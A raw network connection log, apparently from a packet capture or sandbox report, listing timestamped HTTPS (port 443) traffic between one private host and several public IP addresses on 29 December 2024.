Dec 29, 2024 13:55:30.011512041 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.011539936 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.011550903 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.011626005 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.011626005 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:30.011667013 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:30.033396959 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:30.033442974 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.717252016 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.787076950 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:30.787112951 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.787669897 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.788177013 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:30.788248062 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.788492918 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:30.818666935 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:30.818706036 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:30.818768978 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:30.819103956 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:30.819123030 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:30.835339069 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:30.964404106 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:30.972486973 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:30.972517014 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:30.973680019 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:30.973754883 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:30.980734110 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:30.980833054 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:30.981997967 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:30.982019901 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:31.088157892 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.088584900 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.088599920 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.089761019 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.091429949 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.091520071 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.095168114 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.125340939 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:31.139328957 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.182360888 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.182651043 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.182662964 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.183711052 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.183778048 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.188513994 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.188589096 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.189049959 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.189059019 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.266765118 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.266792059 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.266801119 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.266841888 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.266869068 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.266882896 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.266897917 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.266921997 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.287955046 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.287978888 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.292896986 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.410887957 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.411241055 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.411261082 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.412292957 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.412368059 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.414149046 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.414212942 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.414536953 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.414544106 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.506771088 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:31.506858110 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:31.507039070 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:31.508368015 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:31.508405924 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:31.613105059 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.613203049 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.613275051 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.613738060 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:31.613753080 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:31.619333029 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.619398117 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.651348114 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.651416063 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.651552916 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.726428032 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.726464987 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.733248949 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.733290911 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.733364105 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.733788967 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:31.733800888 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:31.827045918 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.827117920 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.827125072 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.827164888 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.964858055 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.964904070 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.972179890 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.972227097 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:31.972333908 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.972733974 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:31.972748995 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:32.326889038 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:32.326992989 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:32.327178001 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:32.327627897 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:32.327642918 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:32.554546118 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:32.555499077 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:32.555507898 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:32.556538105 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:32.556591988 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:32.564032078 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:32.564110994 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:32.564213991 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:32.564228058 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:32.604307890 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.038356066 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.077461004 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:33.077476978 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.077867031 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.078902006 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:33.078968048 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.080660105 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:33.127326012 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.354140997 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:33.356795073 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:33.356940985 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.462527037 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.462544918 CET	443	50550	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:33.462554932 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.462722063 CET	50550	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.465370893 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:33.465595961 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:33.465606928 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:33.465984106 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:33.466289043 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:33.466356039 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:33.466485023 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:33.511331081 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:33.520912886 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.521018028 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:33.521228075 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:33.741359949 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:33.741812944 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:33.741847038 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:33.742223024 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:33.742515087 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:33.742589951 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:33.742674112 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:33.787328959 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:33.878983021 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.879034042 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:33.879282951 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.879533052 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:33.879550934 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:33.880327940 CET	50558	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:33.880351067 CET	443	50558	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:34.020101070 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:34.020176888 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:34.020318985 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:34.024998903 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:34.025054932 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:34.025197983 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:34.025583029 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:34.025614023 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:34.109838009 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:34.109859943 CET	443	50559	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:34.109882116 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:34.109906912 CET	50559	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:34.115510941 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:34.115536928 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:34.115602970 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:34.116813898 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:34.116826057 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:34.188997030 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:34.189011097 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:34.189213037 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:34.189564943 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:34.189574003 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:34.287369967 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:34.287403107 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:34.287484884 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:34.287486076 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:34.287527084 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:34.291436911 CET	50566	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:34.291464090 CET	443	50566	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:35.284873009 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:35.284924984 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:35.285080910 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:35.285784960 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:35.285809994 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:35.441638947 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.442349911 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.442372084 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.443500996 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.443593979 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.443928957 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.444013119 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.444123030 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.444139004 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.530247927 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.530611992 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.530637980 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.531744957 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.531806946 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.532263994 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.532334089 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.532484055 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.532500029 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.570282936 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:35.599390984 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:35.599427938 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:35.599879026 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:35.602106094 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:35.611939907 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:35.611964941 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:35.612320900 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:35.615156889 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:35.615246058 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:35.632560968 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.632925034 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.696552038 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:35.752512932 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:35.752712965 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:35.768912077 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:35.773113966 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:35.815330029 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:35.819324970 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:35.970738888 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.970825911 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:35.971018076 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.982400894 CET	50583	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:35.982426882 CET	443	50583	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:36.058619976 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:36.058700085 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:36.058751106 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:36.063183069 CET	50586	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:36.063196898 CET	443	50586	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:36.174503088 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:36.174578905 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:36.174688101 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:36.175208092 CET	50587	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:36.175220013 CET	443	50587	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:36.390897036 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:36.392896891 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:36.396316051 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:36.412753105 CET	50582	443	192.168.2.4	172.217.17.34
Dec 29, 2024 13:55:36.412784100 CET	443	50582	172.217.17.34	192.168.2.4
Dec 29, 2024 13:55:36.656205893 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:36.656521082 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:36.656582117 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:36.657579899 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:36.657663107 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:36.658715963 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:36.658792019 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:36.659085035 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:36.659102917 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:36.732567072 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:37.141021013 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:37.141097069 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:37.141346931 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:37.141815901 CET	50597	443	192.168.2.4	104.244.42.67
Dec 29, 2024 13:55:37.141855955 CET	443	50597	104.244.42.67	192.168.2.4
Dec 29, 2024 13:55:37.172337055 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:37.172379971 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:37.172671080 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:37.172920942 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:37.172936916 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:38.588943958 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:38.601937056 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:38.601955891 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:38.602458000 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:38.607280016 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:38.607359886 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:38.607631922 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:38.655337095 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.117233038 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.117321014 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.117460966 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.120089054 CET	50618	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.120114088 CET	443	50618	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.257932901 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.257966995 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.258037090 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.258337975 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.258344889 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.664424896 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.664474010 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:39.664565086 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.664793015 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:39.664805889 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:40.671761036 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:40.672032118 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:40.672068119 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:40.672446966 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:40.672969103 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:40.673039913 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:40.673122883 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:40.719341040 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:40.791970015 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.079297066 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.197987080 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.198080063 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.198152065 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.200593948 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.234441996 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.234457970 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.234935045 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.238457918 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.238550901 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.239135027 CET	50636	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.239145041 CET	443	50636	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.239878893 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.283344030 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.502258062 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:41.502363920 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:41.502542019 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:41.503262997 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:41.503304005 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:41.647756100 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.647854090 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:41.647903919 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.664058924 CET	50639	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:41.664108992 CET	443	50639	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:42.862499952 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:42.862556934 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:42.862615108 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:42.863069057 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:42.863090992 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:43.297797918 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:43.298151970 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:43.298180103 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:43.299593925 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:43.299660921 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:43.301568985 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:43.301716089 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:43.302815914 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:43.302824020 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:43.433568954 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:43.633368969 CET	443	50660	52.223.40.198	192.168.2.4
